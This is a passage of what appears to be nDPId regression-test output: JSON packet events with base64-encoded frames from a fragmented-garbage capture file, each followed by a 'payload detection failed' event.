+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8828,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212284,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8828,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8829,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212296,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8829,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8830,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212309,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8830,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8831,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212321,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghEAGRS0KAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8831,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8832,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212334,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAghkAGRSsKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8832,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8833,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212346,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgiEAGRSkKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8833,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8834,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212364,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgikAGRScKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8834,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8835,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212377,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjEAGRSUKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8835,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8836,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212389,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgjkAGRSMKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8836,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8837,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212401,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkEAGRSEKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8837,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8838,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212413,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8838,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8839,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212425,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8839,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8840,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212437,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8840,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8841,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212449,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8841,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8842,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212462,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8842,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8843,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212474,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8843,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8844,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212486,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8844,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8845,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212497,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8845,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8846,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212509,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8846,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8847,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212521,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8847,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8848,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212533,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8848,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8849,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212545,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8849,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8850,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212559,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8850,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8851,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212571,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8851,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8852,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212584,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8852,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8853,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212596,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8853,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8854,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212608,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8854,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8855,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212621,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8855,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8856,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212633,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8856,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8857,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212645,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8857,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8858,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212656,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8858,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8859,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212669,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8859,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8860,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212681,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8860,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8861,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212693,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8861,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8862,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212705,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwkAGRO8KAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8862,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8863,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212717,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxEAGRO0KAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8863,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8864,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212732,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxkAGROsKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8864,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8865,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212744,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgyEAGROkKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8865,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8866,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212757,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgykAGROcKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8866,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8867,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212769,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzEAGROUKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8867,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8868,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212781,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8868,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8869,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244033,"pkt_ts_usec":212793,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8869,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 